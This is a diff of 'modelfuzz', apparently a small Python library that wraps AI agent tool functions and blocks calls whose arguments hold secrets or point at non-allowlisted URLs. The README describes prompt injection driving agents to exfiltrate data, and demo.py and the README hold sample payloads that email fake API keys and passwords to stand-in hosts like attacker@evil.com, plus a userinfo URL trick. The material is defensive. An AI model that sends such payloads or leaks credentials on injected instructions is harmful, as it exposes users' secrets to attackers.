modelfuzz 0.1.0__tar.gz

modelfuzz-0.1.0/.claude/settings.local.json

@@ -0,0 +1,12 @@
+{
+  "permissions": {
+    "allow": [
+      "Bash(git -C /Users/gagandeep/agentshield status --short --branch)",
+      "Bash(uv --version)",
+      "Bash(uv sync *)",
+      "Bash(uv run python -c ' *)",
+      "Bash(uv run *)",
+      "Bash(git add *)"
+    ]
+  }
+}

modelfuzz-0.1.0/.github/workflows/ci.yml

@@ -0,0 +1,33 @@
+name: CI
+
+on:
+  push:
+    branches: [main]
+  pull_request:
+    branches: [main]
+
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    strategy:
+      fail-fast: false
+      matrix:
+        python-version: ["3.10", "3.11", "3.12"]
+
+    steps:
+      - uses: actions/checkout@v4
+
+      - uses: actions/setup-python@v5
+        with:
+          python-version: ${{ matrix.python-version }}
+
+      - uses: astral-sh/setup-uv@v3
+
+      - name: Install dependencies
+        run: uv sync --python ${{ matrix.python-version }}
+
+      - name: Lint
+        run: uv run ruff check .
+
+      - name: Test
+        run: uv run pytest

modelfuzz-0.1.0/.gitignore

@@ -0,0 +1,9 @@
+__pycache__/
+*.py[cod]
+.venv/
+dist/
+build/
+*.egg-info/
+.pytest_cache/
+.ruff_cache/
+.DS_Store

modelfuzz-0.1.0/.pre-commit-config.yaml

@@ -0,0 +1,7 @@
+repos:
+  - repo: https://github.com/astral-sh/ruff-pre-commit
+    rev: v0.15.22
+    hooks:
+      - id: ruff-format
+      - id: ruff-check
+        args: [--fix]

modelfuzz-0.1.0/LICENSE

@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2026 Gagan Deep
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.

modelfuzz-0.1.0/PKG-INFO

@@ -0,0 +1,146 @@
+Metadata-Version: 2.4
+Name: modelfuzz
+Version: 0.1.0
+Summary: Runtime guardrails for AI agents.
+Project-URL: Homepage, https://github.com/higagan/modelfuzz
+Project-URL: Repository, https://github.com/higagan/modelfuzz
+Project-URL: Issues, https://github.com/higagan/modelfuzz/issues
+Author-email: Gagan Deep <gagan.ping@gmail.com>
+License: MIT
+License-File: LICENSE
+Keywords: ai-agents,guardrails,llm,prompt-injection,security
+Classifier: Development Status :: 3 - Alpha
+Classifier: Intended Audience :: Developers
+Classifier: License :: OSI Approved :: MIT License
+Classifier: Operating System :: OS Independent
+Classifier: Programming Language :: Python :: 3
+Classifier: Programming Language :: Python :: 3.10
+Classifier: Programming Language :: Python :: 3.11
+Classifier: Programming Language :: Python :: 3.12
+Classifier: Topic :: Security
+Classifier: Topic :: Software Development :: Libraries :: Python Modules
+Requires-Python: >=3.10
+Requires-Dist: typer>=0.12
+Description-Content-Type: text/markdown
+
+# ModelFuzz
+
+[![CI](https://github.com/higagan/modelfuzz/actions/workflows/ci.yml/badge.svg?branch=main)](https://github.com/higagan/modelfuzz/actions/workflows/ci.yml)
+[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
+[![Python 3.10+](https://img.shields.io/badge/python-3.10+-blue.svg)](https://www.python.org/downloads/)
+[![Code Style: Ruff](https://img.shields.io/badge/code%20style-ruff-261230.svg)](https://github.com/astral-sh/ruff)
+
+**Runtime guardrails for AI agents. Intercept and block unsafe tool calls caused by prompt injection.**
+
+---
+
+## The Problem
+
+LLM agents can be manipulated through prompt injection into making unsafe tool calls — exfiltrating secrets over email, hitting attacker-controlled URLs, or executing arbitrary shell commands. Because model behavior is inherently unpredictable, prompt-level defenses alone cannot guarantee that a compromised agent won't act on malicious instructions.
+
+## The Solution
+
+ModelFuzz intercepts the tool call at the **execution layer**, not the prompt layer — every argument is checked against your policies *before* the tool runs. This shifts security from "hoping the model behaves" to "guaranteeing the function is safe to execute."
+
+## Quickstart
+
+```python
+from modelfuzz import shield_tool
+
+@shield_tool()
+def send_email(to_address: str, subject: str, body: str) -> None:
+    smtp.send(to_address, subject, body)
+```
+
+That's it. If any argument trips a policy (by default, a `SensitiveDataFilter` that catches secrets, passwords, and API keys), the call raises `ModelFuzzBlockError` before `send_email` ever executes.
+
+Need custom policies? Build your own engine:
+
+```python
+from modelfuzz import PolicyEngine, SensitiveDataFilter, URLAllowList, shield_tool
+
+engine = PolicyEngine([
+    SensitiveDataFilter(sensitive_keywords=["internal_token", "ssn"]),
+    URLAllowList(allowed_domains=["api.mycompany.com"]),
+])
+
+@shield_tool(engine=engine)
+def fetch_url(url: str) -> str:
+    ...
+```
+
+## The Demo
+
+**What it looks like:** `demo.py` simulates a prompt-injected agent attempting data exfiltration twice — first against an unguarded tool (the attack succeeds), then against the same tool wrapped in `@shield_tool()` (the attack is blocked before execution).
+
+Run it yourself with `uv run python demo.py`:
+
+```text
+============================================================
+ MODELFUZZ DEMO: PROMPT INJECTION DEFENSE
+============================================================
+
+
+============================================================
+ PART 1: THE BREACH (UNGUARDED)
+============================================================
+
+[!] UNGUARDED AGENT: Executing tool with malicious payload...
+  [>] Tool Call: send_email(**{'to_address': 'attacker@evil.com', 'subject': 'Stolen Data', 'body': "The user's API_KEY is sk-12345..."})
+
+  [!] Simulating email send...
+  To: attacker@evil.com
+  Subject: Stolen Data
+  Body: The user's API_KEY is sk-12345...
+
+============================================================
+  🚨 BREACH
+============================================================
+  Data exfiltrated to attacker@evil.com
+============================================================
+
+
+============================================================
+ PART 2: THE SHIELD (MODELFUZZ ACTIVE)
+============================================================
+
+[+] GUARDED AGENT: Executing tool with malicious payload...
+  [>] Tool Call: send_email(**{'to_address': 'hacker@malicious.net', 'subject': 'Exfiltration', 'body': 'Secret credentials attached: password123'})
+
+  [+] ModelFuzz is intercepting the call...
+
+  [✓] ModelFuzz caught a violation:
+      Reason: String contains sensitive keyword: 'secret'
+
+============================================================
+  🛡️ MODELFUZZ BLOCKED
+============================================================
+  Sensitive data exfiltration stopped.
+============================================================
+```
+
+## How It Works
+
+- **`PolicyEngine`** — runs an ordered list of policies against every tool-call argument and short-circuits on the first violation, returning a `PolicyResult` with the block reason. Policies are plain callables (`(value) -> Violation | None`), so writing your own is a one-function job.
+- **`@shield_tool` decorator** — wraps any function so every positional and keyword argument passes through the engine before the function body runs. A violation raises `ModelFuzzBlockError`; the tool never executes.
+- **Default Deny** — allowlist rules like `URLAllowList` block anything not explicitly permitted: unknown domains, userinfo tricks (`http://api.internal.com@evil.com`), and unparseable URLs are all treated as violations. When in doubt, the call doesn't run.
+
+## Installation
+
+```bash
+pip install modelfuzz
+```
+
+Or with [uv](https://github.com/astral-sh/uv):
+
+```bash
+uv add modelfuzz
+```
+
+## Contributing
+
+Contributions are welcome. See [CONTRIBUTING.md](CONTRIBUTING.md) for development setup, testing, and pull-request guidelines.
+
+## License
+
+MIT — see [LICENSE](LICENSE) for details.

modelfuzz-0.1.0/README.md

@@ -0,0 +1,121 @@
+# ModelFuzz
+
+[![CI](https://github.com/higagan/modelfuzz/actions/workflows/ci.yml/badge.svg?branch=main)](https://github.com/higagan/modelfuzz/actions/workflows/ci.yml)
+[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
+[![Python 3.10+](https://img.shields.io/badge/python-3.10+-blue.svg)](https://www.python.org/downloads/)
+[![Code Style: Ruff](https://img.shields.io/badge/code%20style-ruff-261230.svg)](https://github.com/astral-sh/ruff)
+
+**Runtime guardrails for AI agents. Intercept and block unsafe tool calls caused by prompt injection.**
+
+---
+
+## The Problem
+
+LLM agents can be manipulated through prompt injection into making unsafe tool calls — exfiltrating secrets over email, hitting attacker-controlled URLs, or executing arbitrary shell commands. Because model behavior is inherently unpredictable, prompt-level defenses alone cannot guarantee that a compromised agent won't act on malicious instructions.
+
+## The Solution
+
+ModelFuzz intercepts the tool call at the **execution layer**, not the prompt layer — every argument is checked against your policies *before* the tool runs. This shifts security from "hoping the model behaves" to "guaranteeing the function is safe to execute."
+
+## Quickstart
+
+```python
+from modelfuzz import shield_tool
+
+@shield_tool()
+def send_email(to_address: str, subject: str, body: str) -> None:
+    smtp.send(to_address, subject, body)
+```
+
+That's it. If any argument trips a policy (by default, a `SensitiveDataFilter` that catches secrets, passwords, and API keys), the call raises `ModelFuzzBlockError` before `send_email` ever executes.
+
+Need custom policies? Build your own engine:
+
+```python
+from modelfuzz import PolicyEngine, SensitiveDataFilter, URLAllowList, shield_tool
+
+engine = PolicyEngine([
+    SensitiveDataFilter(sensitive_keywords=["internal_token", "ssn"]),
+    URLAllowList(allowed_domains=["api.mycompany.com"]),
+])
+
+@shield_tool(engine=engine)
+def fetch_url(url: str) -> str:
+    ...
+```
+
+## The Demo
+
+**What it looks like:** `demo.py` simulates a prompt-injected agent attempting data exfiltration twice — first against an unguarded tool (the attack succeeds), then against the same tool wrapped in `@shield_tool()` (the attack is blocked before execution).
+
+Run it yourself with `uv run python demo.py`:
+
+```text
+============================================================
+ MODELFUZZ DEMO: PROMPT INJECTION DEFENSE
+============================================================
+
+
+============================================================
+ PART 1: THE BREACH (UNGUARDED)
+============================================================
+
+[!] UNGUARDED AGENT: Executing tool with malicious payload...
+  [>] Tool Call: send_email(**{'to_address': 'attacker@evil.com', 'subject': 'Stolen Data', 'body': "The user's API_KEY is sk-12345..."})
+
+  [!] Simulating email send...
+  To: attacker@evil.com
+  Subject: Stolen Data
+  Body: The user's API_KEY is sk-12345...
+
+============================================================
+  🚨 BREACH
+============================================================
+  Data exfiltrated to attacker@evil.com
+============================================================
+
+
+============================================================
+ PART 2: THE SHIELD (MODELFUZZ ACTIVE)
+============================================================
+
+[+] GUARDED AGENT: Executing tool with malicious payload...
+  [>] Tool Call: send_email(**{'to_address': 'hacker@malicious.net', 'subject': 'Exfiltration', 'body': 'Secret credentials attached: password123'})
+
+  [+] ModelFuzz is intercepting the call...
+
+  [✓] ModelFuzz caught a violation:
+      Reason: String contains sensitive keyword: 'secret'
+
+============================================================
+  🛡️ MODELFUZZ BLOCKED
+============================================================
+  Sensitive data exfiltration stopped.
+============================================================
+```
+
+## How It Works
+
+- **`PolicyEngine`** — runs an ordered list of policies against every tool-call argument and short-circuits on the first violation, returning a `PolicyResult` with the block reason. Policies are plain callables (`(value) -> Violation | None`), so writing your own is a one-function job.
+- **`@shield_tool` decorator** — wraps any function so every positional and keyword argument passes through the engine before the function body runs. A violation raises `ModelFuzzBlockError`; the tool never executes.
+- **Default Deny** — allowlist rules like `URLAllowList` block anything not explicitly permitted: unknown domains, userinfo tricks (`http://api.internal.com@evil.com`), and unparseable URLs are all treated as violations. When in doubt, the call doesn't run.
+
+## Installation
+
+```bash
+pip install modelfuzz
+```
+
+Or with [uv](https://github.com/astral-sh/uv):
+
+```bash
+uv add modelfuzz
+```
+
+## Contributing
+
+Contributions are welcome. See [CONTRIBUTING.md](CONTRIBUTING.md) for development setup, testing, and pull-request guidelines.
+
+## License
+
+MIT — see [LICENSE](LICENSE) for details.

modelfuzz-0.1.0/demo.py

@@ -0,0 +1,94 @@
+"""Demo script showing ModelFuzz blocking a data exfiltration attack."""
+
+from modelfuzz import ModelFuzzBlockError, shield_tool
+
+# --- ANSI Color Codes ---
+RED = "\033[91m"
+GREEN = "\033[92m"
+YELLOW = "\033[93m"
+CYAN = "\033[96m"
+BOLD = "\033[1m"
+RESET = "\033[0m"
+
+
+def print_separator(title: str, color: str = CYAN) -> None:
+    """Print a visually distinct separator block."""
+    print(f"\n{color}{BOLD}{'=' * 60}{RESET}")
+    print(f"{color}{BOLD} {title} {RESET}")
+    print(f"{color}{BOLD}{'=' * 60}{RESET}\n")
+
+
+def print_summary_box(title: str, message: str, color: str) -> None:
+    """Print a color-coded summary box."""
+    print(f"\n{color}{BOLD}{'=' * 60}{RESET}")
+    print(f"{color}{BOLD}  {title}{RESET}")
+    print(f"{color}{BOLD}{'=' * 60}{RESET}")
+    print(f"{color}  {message}{RESET}")
+    print(f"{color}{BOLD}{'=' * 60}{RESET}\n")
+
+
+# --- Tool Definition (Unguarded) ---
+def send_email_unguarded(to_address: str, subject: str, body: str) -> None:
+    """Pretend tool that sends an email. VULNERABLE."""
+    print(f"  To: {to_address}")
+    print(f"  Subject: {subject}")
+    print(f"  Body: {body}")
+
+
+# --- Tool Definition (Guarded) ---
+@shield_tool()
+def send_email_guarded(to_address: str, subject: str, body: str) -> None:
+    """Pretend tool that sends an email. SHIELDED."""
+    print(f"  To: {to_address}")
+    print(f"  Subject: {subject}")
+    print(f"  Body: {body}")
+
+
+# --- Attack Payloads ---
+ATTACK_PAYLOADS = [
+    {
+        "to_address": "attacker@evil.com",
+        "subject": "Stolen Data",
+        "body": "The user's API_KEY is sk-12345...",
+    },
+    {
+        "to_address": "hacker@malicious.net",
+        "subject": "Exfiltration",
+        "body": "Secret credentials attached: password123",
+    },
+]
+
+
+def main() -> None:
+    print_separator("MODELFUZZ DEMO: PROMPT INJECTION DEFENSE", YELLOW)
+
+    # --- Part 1: The Breach ---
+    print_separator("PART 1: THE BREACH (UNGUARDED)", RED)
+    payload1 = ATTACK_PAYLOADS[0]
+    print(f"{RED}[!] UNGUARDED AGENT: Executing tool with malicious payload...{RESET}")
+    print(f"{RED}  [>] Tool Call: send_email(**{payload1}){RESET}\n")
+    print(f"{RED}  [!] Simulating email send...{RESET}")
+    send_email_unguarded(**payload1)
+    print_summary_box("🚨 BREACH", "Data exfiltrated to attacker@evil.com", RED)
+
+    # --- Part 2: The Shield ---
+    print_separator("PART 2: THE SHIELD (MODELFUZZ ACTIVE)", GREEN)
+    payload2 = ATTACK_PAYLOADS[1]  # Using a different payload for variety, but same intent
+    print(f"{GREEN}[+] GUARDED AGENT: Executing tool with malicious payload...{RESET}")
+    print(f"{GREEN}  [>] Tool Call: send_email(**{payload2}){RESET}\n")
+    print(f"{GREEN}  [+] ModelFuzz is intercepting the call...{RESET}")
+
+    try:
+        send_email_guarded(**payload2)
+    except ModelFuzzBlockError as e:
+        print(f"{GREEN}\n  [✓] ModelFuzz caught a violation:{RESET}")
+        print(f"{GREEN}      Reason: {e}{RESET}")
+        print_summary_box(
+            "🛡️ MODELFUZZ BLOCKED",
+            "Sensitive data exfiltration stopped.",
+            GREEN,
+        )
+
+
+if __name__ == "__main__":
+    main()

modelfuzz-0.1.0/pyproject.toml

@@ -0,0 +1,58 @@
+[project]
+name = "modelfuzz"
+version = "0.1.0"
+description = "Runtime guardrails for AI agents."
+readme = "README.md"
+license = { text = "MIT" }
+authors = [
+    { name = "Gagan Deep", email = "gagan.ping@gmail.com" },
+]
+keywords = ["ai-agents", "security", "guardrails", "prompt-injection", "llm"]
+classifiers = [
+    "Development Status :: 3 - Alpha",
+    "Intended Audience :: Developers",
+    "License :: OSI Approved :: MIT License",
+    "Operating System :: OS Independent",
+    "Programming Language :: Python :: 3",
+    "Programming Language :: Python :: 3.10",
+    "Programming Language :: Python :: 3.11",
+    "Programming Language :: Python :: 3.12",
+    "Topic :: Security",
+    "Topic :: Software Development :: Libraries :: Python Modules",
+]
+requires-python = ">=3.10"
+dependencies = [
+    "typer>=0.12",
+]
+
+[project.scripts]
+modelfuzz = "modelfuzz.cli:main"
+
+[project.urls]
+Homepage = "https://github.com/higagan/modelfuzz"
+Repository = "https://github.com/higagan/modelfuzz"
+Issues = "https://github.com/higagan/modelfuzz/issues"
+
+[dependency-groups]
+dev = [
+    "pytest>=8.0",
+    "ruff>=0.12",
+    "pre-commit>=4.0",
+]
+
+[build-system]
+requires = ["hatchling"]
+build-backend = "hatchling.build"
+
+[tool.hatch.build.targets.wheel]
+packages = ["src/modelfuzz"]
+
+[tool.ruff]
+line-length = 100
+src = ["src", "tests"]
+
+[tool.ruff.lint]
+select = ["E", "F", "I", "UP", "B", "SIM"]
+
+[tool.pytest.ini_options]
+testpaths = ["tests"]

modelfuzz-0.1.0/src/modelfuzz/__init__.py

@@ -0,0 +1,17 @@
+"""ModelFuzz: a lightweight shield for intercepting agent tool calls."""
+
+from modelfuzz.decorator import shield_tool
+from modelfuzz.engine import PolicyEngine, PolicyResult
+from modelfuzz.exceptions import ModelFuzzBlockError
+from modelfuzz.rules import SensitiveDataFilter, URLAllowList, Violation
+
+__all__ = [
+    "shield_tool",
+    "ModelFuzzBlockError",
+    "SensitiveDataFilter",
+    "URLAllowList",
+    "Violation",
+    "PolicyEngine",
+    "PolicyResult",
+]
+__version__ = "0.1.0"

modelfuzz-0.1.0/src/modelfuzz/cli.py

@@ -0,0 +1,27 @@
+"""Command-line interface for ModelFuzz."""
+
+import typer
+
+from modelfuzz import __version__
+
+app = typer.Typer(help="Runtime guardrails for AI agents.")
+
+
+@app.callback()
+def cli() -> None:
+    """Runtime guardrails for AI agents."""
+
+
+@app.command()
+def version() -> None:
+    """Print the installed ModelFuzz version."""
+    typer.echo(__version__)
+
+
+def main() -> None:
+    """Entry point for the ``modelfuzz`` console script."""
+    app()
+
+
+if __name__ == "__main__":
+    main()

modelfuzz-0.1.0/src/modelfuzz/decorator.py

@@ -0,0 +1,45 @@
+"""Decorators for shielding agent tool functions."""
+
+import functools
+from collections.abc import Callable
+from typing import ParamSpec, TypeVar
+
+from modelfuzz.engine import PolicyEngine
+from modelfuzz.exceptions import ModelFuzzBlockError
+from modelfuzz.rules import SensitiveDataFilter
+
+P = ParamSpec("P")
+R = TypeVar("R")
+
+# Default policy engine for the decorator
+default_policies = [SensitiveDataFilter()]
+_default_engine = PolicyEngine(default_policies)
+
+
+def shield_tool(engine: PolicyEngine | None = None) -> Callable[[Callable[P, R]], Callable[P, R]]:
+    """Wrap a tool function so every call is intercepted before execution.
+
+    Args:
+        engine: The policy engine to use for validation. If None, a default
+            engine with a SensitiveDataFilter is used.
+
+    Returns:
+        A decorator that wraps the function.
+    """
+    actual_engine = engine if engine is not None else _default_engine
+
+    def decorator(func: Callable[P, R]) -> Callable[P, R]:
+        @functools.wraps(func)
+        def wrapper(*args: P.args, **kwargs: P.kwargs) -> R:
+            # Check all arguments against the policy engine
+            for arg in list(args) + list(kwargs.values()):
+                result = actual_engine.run(arg)
+                if not result.allowed:
+                    raise ModelFuzzBlockError(result.reason or "Call blocked by policy")
+
+            print(f"ModelFuzz Intercepted: {func.__name__}")
+            return func(*args, **kwargs)
+
+        return wrapper
+
+    return decorator

modelfuzz-0.1.0/src/modelfuzz/engine.py

@@ -0,0 +1,36 @@
+"""Policy engine for ModelFuzz."""
+
+from collections.abc import Callable
+from dataclasses import dataclass
+
+from modelfuzz.rules import Violation
+
+
+@dataclass
+class PolicyResult:
+    """The result of a policy engine run."""
+
+    allowed: bool
+    reason: str | None = None
+
+
+class PolicyEngine:
+    """Runs a list of policies against a call."""
+
+    def __init__(self, policies: list[Callable[[object], Violation | None]]) -> None:
+        self.policies = policies
+
+    def run(self, call: object) -> PolicyResult:
+        """Run all policies in order. Short-circuit on first violation.
+
+        Args:
+            call: The call data to check.
+
+        Returns:
+            A PolicyResult object indicating if the call is allowed.
+        """
+        for policy in self.policies:
+            violation = policy(call)
+            if violation:
+                return PolicyResult(allowed=False, reason=violation.reason)
+        return PolicyResult(allowed=True)

modelfuzz-0.1.0/src/modelfuzz/exceptions.py

@@ -0,0 +1,7 @@
+"""Exceptions for ModelFuzz."""
+
+
+class ModelFuzzBlockError(Exception):
+    """Raised when a tool call is blocked by ModelFuzz."""
+
+    pass